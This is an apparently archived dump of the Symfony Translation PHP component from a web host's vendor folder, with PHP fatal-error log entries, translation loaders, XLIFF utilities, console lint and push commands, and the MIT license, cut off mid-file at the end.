/home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/JsonFileLoader.php on line 21 [25-Nov-2025 05:28:59 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Loader\LoaderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/ArrayLoader.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/ArrayLoader.php on line 21 [25-Nov-2025 05:29:40 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Loader\FileLoader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/MoFileLoader.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/MoFileLoader.php on line 19 [25-Nov-2025 06:29:55 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Loader\FileLoader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/YamlFileLoader.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/YamlFileLoader.php on line 25 translation/Loader/JsonFileLoader.php000064400000002771151113512130013661 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Loader; use Symfony\Component\Translation\Exception\InvalidResourceException; /** * JsonFileLoader loads translations from an json file. * * @author singles */ class JsonFileLoader extends FileLoader { protected function loadResource(string $resource): array { $messages = []; if ($data = file_get_contents($resource)) { $messages = json_decode($data, true); if (0 < $errorCode = json_last_error()) { throw new InvalidResourceException('Error parsing JSON: '.$this->getJSONErrorMessage($errorCode)); } } return $messages; } /** * Translates JSON_ERROR_* constant into meaningful message. */ private function getJSONErrorMessage(int $errorCode): string { return match ($errorCode) { \JSON_ERROR_DEPTH => 'Maximum stack depth exceeded', \JSON_ERROR_STATE_MISMATCH => 'Underflow or the modes mismatch', \JSON_ERROR_CTRL_CHAR => 'Unexpected control character found', \JSON_ERROR_SYNTAX => 'Syntax error, malformed JSON', \JSON_ERROR_UTF8 => 'Malformed UTF-8 characters, possibly incorrectly encoded', default => 'Unknown error', }; } } translation/Loader/PoFileLoader.php000064400000011756151113512130013331 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Loader; /** * @copyright Copyright (c) 2010, Union of RAD https://github.com/UnionOfRAD/lithium * @copyright Copyright (c) 2012, Clemens Tolboom */ class PoFileLoader extends FileLoader { /** * Parses portable object (PO) format. * * From https://www.gnu.org/software/gettext/manual/gettext.html#PO-Files * we should be able to parse files having: * * white-space * # translator-comments * #. extracted-comments * #: reference... * #, flag... * #| msgid previous-untranslated-string * msgid untranslated-string * msgstr translated-string * * extra or different lines are: * * #| msgctxt previous-context * #| msgid previous-untranslated-string * msgctxt context * * #| msgid previous-untranslated-string-singular * #| msgid_plural previous-untranslated-string-plural * msgid untranslated-string-singular * msgid_plural untranslated-string-plural * msgstr[0] translated-string-case-0 * ... * msgstr[N] translated-string-case-n * * The definition states: * - white-space and comments are optional. * - msgid "" that an empty singleline defines a header. * * This parser sacrifices some features of the reference implementation the * differences to that implementation are as follows. * - No support for comments spanning multiple lines. * - Translator and extracted comments are treated as being the same type. * - Message IDs are allowed to have other encodings as just US-ASCII. * * Items with an empty id are ignored. */ protected function loadResource(string $resource): array { $stream = fopen($resource, 'r'); $defaults = [ 'ids' => [], 'translated' => null, ]; $messages = []; $item = $defaults; $flags = []; while ($line = fgets($stream)) { $line = trim($line); if ('' === $line) { // Whitespace indicated current item is done if (!\in_array('fuzzy', $flags)) { $this->addMessage($messages, $item); } $item = $defaults; $flags = []; } elseif (str_starts_with($line, '#,')) { $flags = array_map('trim', explode(',', substr($line, 2))); } elseif (str_starts_with($line, 'msgid "')) { // We start a new msg so save previous // TODO: this fails when comments or contexts are added $this->addMessage($messages, $item); $item = $defaults; $item['ids']['singular'] = substr($line, 7, -1); } elseif (str_starts_with($line, 'msgstr "')) { $item['translated'] = substr($line, 8, -1); } elseif ('"' === $line[0]) { $continues = isset($item['translated']) ? 'translated' : 'ids'; if (\is_array($item[$continues])) { end($item[$continues]); $item[$continues][key($item[$continues])] .= substr($line, 1, -1); } else { $item[$continues] .= substr($line, 1, -1); } } elseif (str_starts_with($line, 'msgid_plural "')) { $item['ids']['plural'] = substr($line, 14, -1); } elseif (str_starts_with($line, 'msgstr[')) { $size = strpos($line, ']'); $item['translated'][(int) substr($line, 7, 1)] = substr($line, $size + 3, -1); } } // save last item if (!\in_array('fuzzy', $flags)) { $this->addMessage($messages, $item); } fclose($stream); return $messages; } /** * Save a translation item to the messages. * * A .po file could contain by error missing plural indexes. We need to * fix these before saving them. */ private function addMessage(array &$messages, array $item): void { if (!empty($item['ids']['singular'])) { $id = stripcslashes($item['ids']['singular']); if (isset($item['ids']['plural'])) { $id .= '|'.stripcslashes($item['ids']['plural']); } $translated = (array) $item['translated']; // PO are by definition indexed so sort by index. ksort($translated); // Make sure every index is filled. end($translated); $count = key($translated); // Fill missing spots with '-'. $empties = array_fill(0, $count + 1, '-'); $translated += $empties; ksort($translated); $messages[$id] = stripcslashes(implode('|', $translated)); } } } translation/Loader/LoaderInterface.php000064400000001666151113512130014052 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Loader; use Symfony\Component\Translation\Exception\InvalidResourceException; use Symfony\Component\Translation\Exception\NotFoundResourceException; use Symfony\Component\Translation\MessageCatalogue; /** * LoaderInterface is the interface implemented by all translation loaders. * * @author Fabien Potencier */ interface LoaderInterface { /** * Loads a locale. * * @throws NotFoundResourceException when the resource cannot be found * @throws InvalidResourceException when the resource cannot be loaded */ public function load(mixed $resource, string $locale, string $domain = 'messages'): MessageCatalogue; } translation/LICENSE000064400000002054151113512130010101 0ustar00Copyright (c) 2004-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. translation/Reader/TranslationReaderInterface.php000064400000001275151113512130016255 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Reader; use Symfony\Component\Translation\MessageCatalogue; /** * TranslationReader reads translation messages from translation files. * * @author Tobias Nyholm */ interface TranslationReaderInterface { /** * Reads translation messages from a directory to the catalogue. * * @return void */ public function read(string $directory, MessageCatalogue $catalogue); } translation/Reader/TranslationReader.php000064400000003371151113512130014433 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Reader; use Symfony\Component\Finder\Finder; use Symfony\Component\Translation\Loader\LoaderInterface; use Symfony\Component\Translation\MessageCatalogue; /** * TranslationReader reads translation messages from translation files. * * @author Michel Salib */ class TranslationReader implements TranslationReaderInterface { /** * Loaders used for import. * * @var array */ private array $loaders = []; /** * Adds a loader to the translation extractor. * * @param string $format The format of the loader * * @return void */ public function addLoader(string $format, LoaderInterface $loader) { $this->loaders[$format] = $loader; } /** * @return void */ public function read(string $directory, MessageCatalogue $catalogue) { if (!is_dir($directory)) { return; } foreach ($this->loaders as $format => $loader) { // load any existing translation files $finder = new Finder(); $extension = $catalogue->getLocale().'.'.$format; $files = $finder->files()->name('*.'.$extension)->in($directory); foreach ($files as $file) { $domain = substr($file->getFilename(), 0, -1 * \strlen($extension) - 1); $catalogue->addCatalogue($loader->load($file->getPathname(), $catalogue->getLocale(), $domain)); } } } } translation/Reader/error_log000064400000001372151113512130012215 0ustar00[25-Nov-2025 06:29:56 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Reader\TranslationReaderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Reader/TranslationReader.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Reader/TranslationReader.php on line 23 [26-Nov-2025 01:35:03 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Reader\TranslationReaderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Reader/TranslationReader.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Reader/TranslationReader.php on line 23 translation/TranslatorBag.php000064400000006066151113512130012357 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation; use Symfony\Component\Translation\Catalogue\AbstractOperation; use Symfony\Component\Translation\Catalogue\TargetOperation; final class TranslatorBag implements TranslatorBagInterface { /** @var MessageCatalogue[] */ private array $catalogues = []; public function addCatalogue(MessageCatalogue $catalogue): void { if (null !== $existingCatalogue = $this->getCatalogue($catalogue->getLocale())) { $catalogue->addCatalogue($existingCatalogue); } $this->catalogues[$catalogue->getLocale()] = $catalogue; } public function addBag(TranslatorBagInterface $bag): void { foreach ($bag->getCatalogues() as $catalogue) { $this->addCatalogue($catalogue); } } public function getCatalogue(string $locale = null): MessageCatalogueInterface { if (null === $locale || !isset($this->catalogues[$locale])) { $this->catalogues[$locale] = new MessageCatalogue($locale); } return $this->catalogues[$locale]; } public function getCatalogues(): array { return array_values($this->catalogues); } public function diff(TranslatorBagInterface $diffBag): self { $diff = new self(); foreach ($this->catalogues as $locale => $catalogue) { if (null === $diffCatalogue = $diffBag->getCatalogue($locale)) { $diff->addCatalogue($catalogue); continue; } $operation = new TargetOperation($diffCatalogue, $catalogue); $operation->moveMessagesToIntlDomainsIfPossible(AbstractOperation::NEW_BATCH); $newCatalogue = new MessageCatalogue($locale); foreach ($catalogue->getDomains() as $domain) { $newCatalogue->add($operation->getNewMessages($domain), $domain); } $diff->addCatalogue($newCatalogue); } return $diff; } public function intersect(TranslatorBagInterface $intersectBag): self { $diff = new self(); foreach ($this->catalogues as $locale => $catalogue) { if (null === $intersectCatalogue = $intersectBag->getCatalogue($locale)) { continue; } $operation = new TargetOperation($catalogue, $intersectCatalogue); $operation->moveMessagesToIntlDomainsIfPossible(AbstractOperation::OBSOLETE_BATCH); $obsoleteCatalogue = new MessageCatalogue($locale); foreach ($operation->getDomains() as $domain) { $obsoleteCatalogue->add( array_diff($operation->getMessages($domain), $operation->getNewMessages($domain)), $domain ); } $diff->addCatalogue($obsoleteCatalogue); } return $diff; } } translation/MessageCatalogueInterface.php000064400000006625151113512130014647 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation; use Symfony\Component\Config\Resource\ResourceInterface; /** * MessageCatalogueInterface. * * @author Fabien Potencier */ interface MessageCatalogueInterface { public const INTL_DOMAIN_SUFFIX = '+intl-icu'; /** * Gets the catalogue locale. */ public function getLocale(): string; /** * Gets the domains. */ public function getDomains(): array; /** * Gets the messages within a given domain. * * If $domain is null, it returns all messages. */ public function all(string $domain = null): array; /** * Sets a message translation. * * @param string $id The message id * @param string $translation The messages translation * @param string $domain The domain name * * @return void */ public function set(string $id, string $translation, string $domain = 'messages'); /** * Checks if a message has a translation. * * @param string $id The message id * @param string $domain The domain name */ public function has(string $id, string $domain = 'messages'): bool; /** * Checks if a message has a translation (it does not take into account the fallback mechanism). * * @param string $id The message id * @param string $domain The domain name */ public function defines(string $id, string $domain = 'messages'): bool; /** * Gets a message translation. * * @param string $id The message id * @param string $domain The domain name */ public function get(string $id, string $domain = 'messages'): string; /** * Sets translations for a given domain. * * @param array $messages An array of translations * @param string $domain The domain name * * @return void */ public function replace(array $messages, string $domain = 'messages'); /** * Adds translations for a given domain. * * @param array $messages An array of translations * @param string $domain The domain name * * @return void */ public function add(array $messages, string $domain = 'messages'); /** * Merges translations from the given Catalogue into the current one. * * The two catalogues must have the same locale. * * @return void */ public function addCatalogue(self $catalogue); /** * Merges translations from the given Catalogue into the current one * only when the translation does not exist. * * This is used to provide default translations when they do not exist for the current locale. * * @return void */ public function addFallbackCatalogue(self $catalogue); /** * Gets the fallback catalogue. */ public function getFallbackCatalogue(): ?self; /** * Returns an array of resources loaded to build this collection. * * @return ResourceInterface[] */ public function getResources(): array; /** * Adds a resource for this collection. * * @return void */ public function addResource(ResourceInterface $resource); } translation/Util/XliffUtils.php000064400000014473151113512130012623 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Util; use Symfony\Component\Translation\Exception\InvalidArgumentException; use Symfony\Component\Translation\Exception\InvalidResourceException; /** * Provides some utility methods for XLIFF translation files, such as validating * their contents according to the XSD schema. * * @author Fabien Potencier */ class XliffUtils { /** * Gets xliff file version based on the root "version" attribute. * * Defaults to 1.2 for backwards compatibility. * * @throws InvalidArgumentException */ public static function getVersionNumber(\DOMDocument $dom): string { /** @var \DOMNode $xliff */ foreach ($dom->getElementsByTagName('xliff') as $xliff) { $version = $xliff->attributes->getNamedItem('version'); if ($version) { return $version->nodeValue; } $namespace = $xliff->attributes->getNamedItem('xmlns'); if ($namespace) { if (0 !== substr_compare('urn:oasis:names:tc:xliff:document:', $namespace->nodeValue, 0, 34)) { throw new InvalidArgumentException(sprintf('Not a valid XLIFF namespace "%s".', $namespace)); } return substr($namespace, 34); } } // Falls back to v1.2 return '1.2'; } /** * Validates and parses the given file into a DOMDocument. * * @throws InvalidResourceException */ public static function validateSchema(\DOMDocument $dom): array { $xliffVersion = static::getVersionNumber($dom); $internalErrors = libxml_use_internal_errors(true); if ($shouldEnable = self::shouldEnableEntityLoader()) { $disableEntities = libxml_disable_entity_loader(false); } try { $isValid = @$dom->schemaValidateSource(self::getSchema($xliffVersion)); if (!$isValid) { return self::getXmlErrors($internalErrors); } } finally { if ($shouldEnable) { libxml_disable_entity_loader($disableEntities); } } $dom->normalizeDocument(); libxml_clear_errors(); libxml_use_internal_errors($internalErrors); return []; } private static function shouldEnableEntityLoader(): bool { static $dom, $schema; if (null === $dom) { $dom = new \DOMDocument(); $dom->loadXML(''); $tmpfile = tempnam(sys_get_temp_dir(), 'symfony'); register_shutdown_function(static function () use ($tmpfile) { @unlink($tmpfile); }); $schema = ' '; file_put_contents($tmpfile, ' '); } return !@$dom->schemaValidateSource($schema); } public static function getErrorsAsString(array $xmlErrors): string { $errorsAsString = ''; foreach ($xmlErrors as $error) { $errorsAsString .= sprintf("[%s %s] %s (in %s - line %d, column %d)\n", \LIBXML_ERR_WARNING === $error['level'] ? 'WARNING' : 'ERROR', $error['code'], $error['message'], $error['file'], $error['line'], $error['column'] ); } return $errorsAsString; } private static function getSchema(string $xliffVersion): string { if ('1.2' === $xliffVersion) { $schemaSource = file_get_contents(__DIR__.'/../Resources/schemas/xliff-core-1.2-transitional.xsd'); $xmlUri = 'http://www.w3.org/2001/xml.xsd'; } elseif ('2.0' === $xliffVersion) { $schemaSource = file_get_contents(__DIR__.'/../Resources/schemas/xliff-core-2.0.xsd'); $xmlUri = 'informativeCopiesOf3rdPartySchemas/w3c/xml.xsd'; } else { throw new InvalidArgumentException(sprintf('No support implemented for loading XLIFF version "%s".', $xliffVersion)); } return self::fixXmlLocation($schemaSource, $xmlUri); } /** * Internally changes the URI of a dependent xsd to be loaded locally. */ private static function fixXmlLocation(string $schemaSource, string $xmlUri): string { $newPath = str_replace('\\', '/', __DIR__).'/../Resources/schemas/xml.xsd'; $parts = explode('/', $newPath); $locationstart = 'file:///'; if (0 === stripos($newPath, 'phar://')) { $tmpfile = tempnam(sys_get_temp_dir(), 'symfony'); if ($tmpfile) { copy($newPath, $tmpfile); $parts = explode('/', str_replace('\\', '/', $tmpfile)); } else { array_shift($parts); $locationstart = 'phar:///'; } } $drive = '\\' === \DIRECTORY_SEPARATOR ? array_shift($parts).'/' : ''; $newPath = $locationstart.$drive.implode('/', array_map('rawurlencode', $parts)); return str_replace($xmlUri, $newPath, $schemaSource); } /** * Returns the XML errors of the internal XML parser. */ private static function getXmlErrors(bool $internalErrors): array { $errors = []; foreach (libxml_get_errors() as $error) { $errors[] = [ 'level' => \LIBXML_ERR_WARNING == $error->level ? 'WARNING' : 'ERROR', 'code' => $error->code, 'message' => trim($error->message), 'file' => $error->file ?: 'n/a', 'line' => $error->line, 'column' => $error->column, ]; } libxml_clear_errors(); libxml_use_internal_errors($internalErrors); return $errors; } } translation/Util/ArrayConverter.php000064400000007271151113512130013476 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Util; /** * ArrayConverter generates tree like structure from a message catalogue. * e.g. this * 'foo.bar1' => 'test1', * 'foo.bar2' => 'test2' * converts to follows: * foo: * bar1: test1 * bar2: test2. * * @author Gennady Telegin */ class ArrayConverter { /** * Converts linear messages array to tree-like array. * For example this array('foo.bar' => 'value') will be converted to ['foo' => ['bar' => 'value']]. * * @param array $messages Linear messages array */ public static function expandToTree(array $messages): array { $tree = []; foreach ($messages as $id => $value) { $referenceToElement = &self::getElementByPath($tree, self::getKeyParts($id)); $referenceToElement = $value; unset($referenceToElement); } return $tree; } private static function &getElementByPath(array &$tree, array $parts): mixed { $elem = &$tree; $parentOfElem = null; foreach ($parts as $i => $part) { if (isset($elem[$part]) && \is_string($elem[$part])) { /* Process next case: * 'foo': 'test1', * 'foo.bar': 'test2' * * $tree['foo'] was string before we found array {bar: test2}. * Treat new element as string too, e.g. add $tree['foo.bar'] = 'test2'; */ $elem = &$elem[implode('.', \array_slice($parts, $i))]; break; } $parentOfElem = &$elem; $elem = &$elem[$part]; } if ($elem && \is_array($elem) && $parentOfElem) { /* Process next case: * 'foo.bar': 'test1' * 'foo': 'test2' * * $tree['foo'] was array = {bar: 'test1'} before we found string constant `foo`. * Cancel treating $tree['foo'] as array and cancel back it expansion, * e.g. make it $tree['foo.bar'] = 'test1' again. */ self::cancelExpand($parentOfElem, $part, $elem); } return $elem; } private static function cancelExpand(array &$tree, string $prefix, array $node): void { $prefix .= '.'; foreach ($node as $id => $value) { if (\is_string($value)) { $tree[$prefix.$id] = $value; } else { self::cancelExpand($tree, $prefix.$id, $value); } } } /** * @return string[] */ private static function getKeyParts(string $key): array { $parts = explode('.', $key); $partsCount = \count($parts); $result = []; $buffer = ''; foreach ($parts as $index => $part) { if (0 === $index && '' === $part) { $buffer = '.'; continue; } if ($index === $partsCount - 1 && '' === $part) { $buffer .= '.'; $result[] = $buffer; continue; } if (isset($parts[$index + 1]) && '' === $parts[$index + 1]) { $buffer .= $part; continue; } if ($buffer) { $result[] = $buffer.$part; $buffer = ''; continue; } $result[] = $part; } return $result; } } translation/TranslatorBagInterface.php000064400000001624151113512130014173 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation; use Symfony\Component\Translation\Exception\InvalidArgumentException; /** * @author Abdellatif Ait boudad */ interface TranslatorBagInterface { /** * Gets the catalogue by locale. * * @param string|null $locale The locale or null to use the default * * @throws InvalidArgumentException If the locale contains invalid characters */ public function getCatalogue(string $locale = null): MessageCatalogueInterface; /** * Returns all catalogues of the instance. * * @return MessageCatalogueInterface[] */ public function getCatalogues(): array; } translation/Command/XliffLintCommand.php000064400000025125151113512130014365 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Command; use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\CI\GithubActionReporter; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Completion\CompletionInput; use Symfony\Component\Console\Completion\CompletionSuggestions; use Symfony\Component\Console\Exception\RuntimeException; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Style\SymfonyStyle; use Symfony\Component\Translation\Exception\InvalidArgumentException; use Symfony\Component\Translation\Util\XliffUtils; /** * Validates XLIFF files syntax and outputs encountered errors. * * @author Grégoire Pineau * @author Robin Chalas * @author Javier Eguiluz */ #[AsCommand(name: 'lint:xliff', description: 'Lint an XLIFF file and outputs encountered errors')] class XliffLintCommand extends Command { private string $format; private bool $displayCorrectFiles; private ?\Closure $directoryIteratorProvider; private ?\Closure $isReadableProvider; private bool $requireStrictFileNames; public function __construct(string $name = null, callable $directoryIteratorProvider = null, callable $isReadableProvider = null, bool $requireStrictFileNames = true) { parent::__construct($name); $this->directoryIteratorProvider = null === $directoryIteratorProvider ? null : $directoryIteratorProvider(...); $this->isReadableProvider = null === $isReadableProvider ? null : $isReadableProvider(...); $this->requireStrictFileNames = $requireStrictFileNames; } /** * @return void */ protected function configure() { $this ->addArgument('filename', InputArgument::IS_ARRAY, 'A file, a directory or "-" for reading from STDIN') ->addOption('format', null, InputOption::VALUE_REQUIRED, sprintf('The output format ("%s")', implode('", "', $this->getAvailableFormatOptions()))) ->setHelp(<<%command.name% command lints an XLIFF file and outputs to STDOUT the first encountered syntax error. You can validates XLIFF contents passed from STDIN: cat filename | php %command.full_name% - You can also validate the syntax of a file: php %command.full_name% filename Or of a whole directory: php %command.full_name% dirname php %command.full_name% dirname --format=json EOF ) ; } protected function execute(InputInterface $input, OutputInterface $output): int { $io = new SymfonyStyle($input, $output); $filenames = (array) $input->getArgument('filename'); $this->format = $input->getOption('format') ?? (GithubActionReporter::isGithubActionEnvironment() ? 'github' : 'txt'); $this->displayCorrectFiles = $output->isVerbose(); if (['-'] === $filenames) { return $this->display($io, [$this->validate(file_get_contents('php://stdin'))]); } if (!$filenames) { throw new RuntimeException('Please provide a filename or pipe file content to STDIN.'); } $filesInfo = []; foreach ($filenames as $filename) { if (!$this->isReadable($filename)) { throw new RuntimeException(sprintf('File or directory "%s" is not readable.', $filename)); } foreach ($this->getFiles($filename) as $file) { $filesInfo[] = $this->validate(file_get_contents($file), $file); } } return $this->display($io, $filesInfo); } private function validate(string $content, string $file = null): array { $errors = []; // Avoid: Warning DOMDocument::loadXML(): Empty string supplied as input if ('' === trim($content)) { return ['file' => $file, 'valid' => true]; } $internal = libxml_use_internal_errors(true); $document = new \DOMDocument(); $document->loadXML($content); if (null !== $targetLanguage = $this->getTargetLanguageFromFile($document)) { $normalizedLocalePattern = sprintf('(%s|%s)', preg_quote($targetLanguage, '/'), preg_quote(str_replace('-', '_', $targetLanguage), '/')); // strict file names require translation files to be named '____.locale.xlf' // otherwise, both '____.locale.xlf' and 'locale.____.xlf' are allowed // also, the regexp matching must be case-insensitive, as defined for 'target-language' values // http://docs.oasis-open.org/xliff/v1.2/os/xliff-core.html#target-language $expectedFilenamePattern = $this->requireStrictFileNames ? sprintf('/^.*\.(?i:%s)\.(?:xlf|xliff)/', $normalizedLocalePattern) : sprintf('/^(?:.*\.(?i:%s)|(?i:%s)\..*)\.(?:xlf|xliff)/', $normalizedLocalePattern, $normalizedLocalePattern); if (0 === preg_match($expectedFilenamePattern, basename($file))) { $errors[] = [ 'line' => -1, 'column' => -1, 'message' => sprintf('There is a mismatch between the language included in the file name ("%s") and the "%s" value used in the "target-language" attribute of the file.', basename($file), $targetLanguage), ]; } } foreach (XliffUtils::validateSchema($document) as $xmlError) { $errors[] = [ 'line' => $xmlError['line'], 'column' => $xmlError['column'], 'message' => $xmlError['message'], ]; } libxml_clear_errors(); libxml_use_internal_errors($internal); return ['file' => $file, 'valid' => 0 === \count($errors), 'messages' => $errors]; } private function display(SymfonyStyle $io, array $files): int { return match ($this->format) { 'txt' => $this->displayTxt($io, $files), 'json' => $this->displayJson($io, $files), 'github' => $this->displayTxt($io, $files, true), default => throw new InvalidArgumentException(sprintf('Supported formats are "%s".', implode('", "', $this->getAvailableFormatOptions()))), }; } private function displayTxt(SymfonyStyle $io, array $filesInfo, bool $errorAsGithubAnnotations = false): int { $countFiles = \count($filesInfo); $erroredFiles = 0; $githubReporter = $errorAsGithubAnnotations ? new GithubActionReporter($io) : null; foreach ($filesInfo as $info) { if ($info['valid'] && $this->displayCorrectFiles) { $io->comment('OK'.($info['file'] ? sprintf(' in %s', $info['file']) : '')); } elseif (!$info['valid']) { ++$erroredFiles; $io->text(' ERROR '.($info['file'] ? sprintf(' in %s', $info['file']) : '')); $io->listing(array_map(function ($error) use ($info, $githubReporter) { // general document errors have a '-1' line number $line = -1 === $error['line'] ? null : $error['line']; $githubReporter?->error($error['message'], $info['file'], $line, null !== $line ? $error['column'] : null); return null === $line ? $error['message'] : sprintf('Line %d, Column %d: %s', $line, $error['column'], $error['message']); }, $info['messages'])); } } if (0 === $erroredFiles) { $io->success(sprintf('All %d XLIFF files contain valid syntax.', $countFiles)); } else { $io->warning(sprintf('%d XLIFF files have valid syntax and %d contain errors.', $countFiles - $erroredFiles, $erroredFiles)); } return min($erroredFiles, 1); } private function displayJson(SymfonyStyle $io, array $filesInfo): int { $errors = 0; array_walk($filesInfo, function (&$v) use (&$errors) { $v['file'] = (string) $v['file']; if (!$v['valid']) { ++$errors; } }); $io->writeln(json_encode($filesInfo, \JSON_PRETTY_PRINT | \JSON_UNESCAPED_SLASHES)); return min($errors, 1); } /** * @return iterable<\SplFileInfo> */ private function getFiles(string $fileOrDirectory): iterable { if (is_file($fileOrDirectory)) { yield new \SplFileInfo($fileOrDirectory); return; } foreach ($this->getDirectoryIterator($fileOrDirectory) as $file) { if (!\in_array($file->getExtension(), ['xlf', 'xliff'])) { continue; } yield $file; } } /** * @return iterable<\SplFileInfo> */ private function getDirectoryIterator(string $directory): iterable { $default = fn ($directory) => new \RecursiveIteratorIterator( new \RecursiveDirectoryIterator($directory, \FilesystemIterator::SKIP_DOTS | \FilesystemIterator::FOLLOW_SYMLINKS), \RecursiveIteratorIterator::LEAVES_ONLY ); if (null !== $this->directoryIteratorProvider) { return ($this->directoryIteratorProvider)($directory, $default); } return $default($directory); } private function isReadable(string $fileOrDirectory): bool { $default = fn ($fileOrDirectory) => is_readable($fileOrDirectory); if (null !== $this->isReadableProvider) { return ($this->isReadableProvider)($fileOrDirectory, $default); } return $default($fileOrDirectory); } private function getTargetLanguageFromFile(\DOMDocument $xliffContents): ?string { foreach ($xliffContents->getElementsByTagName('file')[0]->attributes ?? [] as $attribute) { if ('target-language' === $attribute->nodeName) { return $attribute->nodeValue; } } return null; } public function complete(CompletionInput $input, CompletionSuggestions $suggestions): void { if ($input->mustSuggestOptionValuesFor('format')) { $suggestions->suggestValues($this->getAvailableFormatOptions()); } } private function getAvailableFormatOptions(): array { return ['txt', 'json', 'github']; } } translation/Command/TranslationTrait.php000064400000004525151113512130014472 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Command; use Symfony\Component\Translation\MessageCatalogue; use Symfony\Component\Translation\MessageCatalogueInterface; use Symfony\Component\Translation\TranslatorBag; /** * @internal */ trait TranslationTrait { private function readLocalTranslations(array $locales, array $domains, array $transPaths): TranslatorBag { $bag = new TranslatorBag(); foreach ($locales as $locale) { $catalogue = new MessageCatalogue($locale); foreach ($transPaths as $path) { $this->reader->read($path, $catalogue); } if ($domains) { foreach ($domains as $domain) { $bag->addCatalogue($this->filterCatalogue($catalogue, $domain)); } } else { $bag->addCatalogue($catalogue); } } return $bag; } private function filterCatalogue(MessageCatalogue $catalogue, string $domain): MessageCatalogue { $filteredCatalogue = new MessageCatalogue($catalogue->getLocale()); // extract intl-icu messages only $intlDomain = $domain.MessageCatalogueInterface::INTL_DOMAIN_SUFFIX; if ($intlMessages = $catalogue->all($intlDomain)) { $filteredCatalogue->add($intlMessages, $intlDomain); } // extract all messages and subtract intl-icu messages if ($messages = array_diff($catalogue->all($domain), $intlMessages)) { $filteredCatalogue->add($messages, $domain); } foreach ($catalogue->getResources() as $resource) { $filteredCatalogue->addResource($resource); } if ($metadata = $catalogue->getMetadata('', $intlDomain)) { foreach ($metadata as $k => $v) { $filteredCatalogue->setMetadata($k, $v, $intlDomain); } } if ($metadata = $catalogue->getMetadata('', $domain)) { foreach ($metadata as $k => $v) { $filteredCatalogue->setMetadata($k, $v, $domain); } } return $filteredCatalogue; } } translation/Command/TranslationPushCommand.php000064400000016763151113512130015634 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Command; use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Completion\CompletionInput; use Symfony\Component\Console\Completion\CompletionSuggestions; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Style\SymfonyStyle; use Symfony\Component\Translation\Provider\FilteringProvider; use Symfony\Component\Translation\Provider\TranslationProviderCollection; use Symfony\Component\Translation\Reader\TranslationReaderInterface; use Symfony\Component\Translation\TranslatorBag; /** * @author Mathieu Santostefano */ #[AsCommand(name: 'translation:push', description: 'Push translations to a given provider.')] final class TranslationPushCommand extends Command { use TranslationTrait; private TranslationProviderCollection $providers; private TranslationReaderInterface $reader; private array $transPaths; private array $enabledLocales; public 